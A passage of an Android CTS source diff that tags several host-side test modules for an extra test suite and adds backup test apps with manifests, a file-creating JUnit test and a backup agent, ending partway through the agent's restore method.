diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
index 1e888ae..e953f17 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -40,7 +40,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -56,6 +56,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
index 87a7ff8..a774832 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -40,6 +40,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
index 42f700e..683d533 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
index 69d27ed..afb0590 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 15981f6..adfce12 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index c4a0913..908176c 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.atrace
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index 9218e56..e99d4d1 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -31,6 +31,6 @@
 #LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/hostsidetests/backup/AllowBackup/Android.mk
similarity index 60%
copy from hostsidetests/jvmti/run-tests/test-981/Android.mk
copy to hostsidetests/backup/AllowBackup/Android.mk
index 4bbc20a..b798d87 100644
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ b/hostsidetests/backup/AllowBackup/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2014 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,15 +12,4 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
similarity index 74%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
index ec8f7aa..6eaf7f0 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := BackupAllowedApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..d4de01d
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupnotallowedapp">
+
+    <application android:label="BackupAllowedApp">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupnotallowedapp" />
+
+</manifest>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
similarity index 74%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
index ec8f7aa..e8c70b9 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := BackupNotAllowedApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..5fc71a1
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.backupnotallowedapp">
+
+    <application android:label="BackupNotAllowedApp"
+        android:allowBackup="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.backupnotallowedapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
new file mode 100644
index 0000000..643b594
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.backupnotallowedapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ *
+ */
+@RunWith(AndroidJUnit4.class)
+public class AllowBackupTest {
+    public static final String TAG = "AllowBackupCTSApp";
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+    private Context mContext;
+
+    private File mDoBackupFile;
+    private File mDoBackupFile2;
+
+    @Before
+    public void setUp() {
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+        File filesDir = mContext.getFilesDir();
+        File normalFolder = new File(filesDir, "normal_folder");
+
+        mDoBackupFile = new File(filesDir, "file_to_backup");
+        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteAllFiles();
+        assertNoFilesExist();
+
+        // Create test data
+        generateFiles();
+        assertAllFilesExist();
+
+        Log.d(TAG, "Test files created: \n"
+                + mDoBackupFile.getAbsolutePath() + "\n"
+                + mDoBackupFile2.getAbsolutePath());
+    }
+
+    @Test
+    public void checkNoFilesExist() throws Exception {
+        assertNoFilesExist();
+    }
+
+    @Test
+    public void checkAllFilesExist() throws Exception {
+        assertAllFilesExist();
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            addData(mDoBackupFile);
+            addData(mDoBackupFile2);
+            Log.d(TAG, "Files generated!");
+        } catch (IOException e) {
+            Log.e(TAG, "Unable to generate files", e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        mDoBackupFile.delete();
+        mDoBackupFile2.delete();
+        Log.d(TAG, "Files deleted!");
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
+        byte[] bytes = new byte[FILE_SIZE_BYTES];
+        new Random().nextBytes(bytes);
+
+        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+            bos.write(bytes, 0, bytes.length);
+        }
+    }
+
+    private void assertAllFilesExist() {
+        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+    }
+
+    private void assertNoFilesExist() {
+        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+    }
+}
diff --git a/hostsidetests/backup/Android.mk b/hostsidetests/backup/Android.mk
index 3ed8e99..75796a1 100644
--- a/hostsidetests/backup/Android.mk
+++ b/hostsidetests/backup/Android.mk
@@ -18,8 +18,6 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_RESOURCE_DIRS := assets/
-
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/hostsidetests/backup/FullBackupOnly/Android.mk
similarity index 60%
copy from hostsidetests/jvmti/run-tests/test-981/Android.mk
copy to hostsidetests/backup/FullBackupOnly/Android.mk
index 4bbc20a..521ac4d 100644
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/Android.mk
@@ -1,4 +1,5 @@
-# Copyright (C) 2014 The Android Open Source Project
+#
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,16 +12,6 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+#
 
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
similarity index 73%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
index ec8f7aa..5cce7a4 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyFalseNoAgentApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..c00671f
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.fullbackuponlyapp">
+
+    <application>
+
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
similarity index 73%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
index ec8f7aa..3224b98 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyFalseWithAgentApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..03555d4
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.fullbackuponlyapp">
+
+    <application
+        android:backupAgent=".FullBackupOnlyBackupAgent">
+
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
similarity index 73%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
index ec8f7aa..2f0eae8 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
@@ -16,18 +16,24 @@
 
 include $(CLEAR_VARS)
 
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyTrueWithAgentApp
+
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..9b90592
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.fullbackuponlyapp">
+
+    <application
+        android:backupAgent=".FullBackupOnlyBackupAgent"
+        android:fullBackupOnly="true">
+
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java
new file mode 100644
index 0000000..f14ce24
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.fullbackuponlyapp;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+/**
+ * BackupAgent for test apps in {@link android.cts.backup.fullbackuponlyapp} package.
+ * Performs backup/restore of the file provided by {@link FullBackupOnlyTest}.
+ *
+ * Implementation of key/value backup methods is based on the examples from
+ * https://developer.android.com/guide/topics/data/keyvaluebackup.html
+ */
+public class FullBackupOnlyBackupAgent extends BackupAgent {
+    private static final String TAG = "FullBackupOnlyBA";
+
+    private static final String BACKUP_KEY = "full_backup_only_key";
+    private static final int DEFAULT_VALUE = -1;
+
+    /** Get the value saved in the shared preference and back it up. */
+    @Override
+    public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+            ParcelFileDescriptor newState) throws IOException {
+        Log.i(TAG, "onBackup");
+
+        File fileToBackup = FullBackupOnlyTest.getKeyValueBackupFile(this);
+        byte[] buffer = readFileToBytes(fileToBackup);
+
+        // Send the data to the Backup Manager via the BackupDataOutput
+        int len = buffer.length;
+        data.writeEntityHeader(BACKUP_KEY, len);
+        data.writeEntityData(buffer, len);
+    }
+
+    /** Get the value from backup and save it in the shared preference. */
+    @Override
+    public void onRestore(BackupDataInput data, int appVersionCode, ParcelFileDescriptor newState)
+            throws IOException {
+        Log.i(TAG, "onRestore");
+        int value = DEFAULT_VALUE;
+
+        // There should be only one entity, but the safest
+        // way to consume it is using a while loop
+        while (data.readNextHeader()) {
+            String key = data.getKey();
+            int dataSize = data.getDataSize();
+
+            // If the key is ours (for saving top score). Note this key was used when
+            // we wrote the backup entity header
+            if (BACKUP_KEY.equals(key)) {
+                // Copy data from BackupDataInput and write it into the file.
+                byte[] dataBuf = new byte[dataSize];
+                data.readEntityData(dataBuf, 0, dataSize);
+
+                File fileToRestore = FullBackupOnlyTest.getKeyValueBackupFile(this);
+
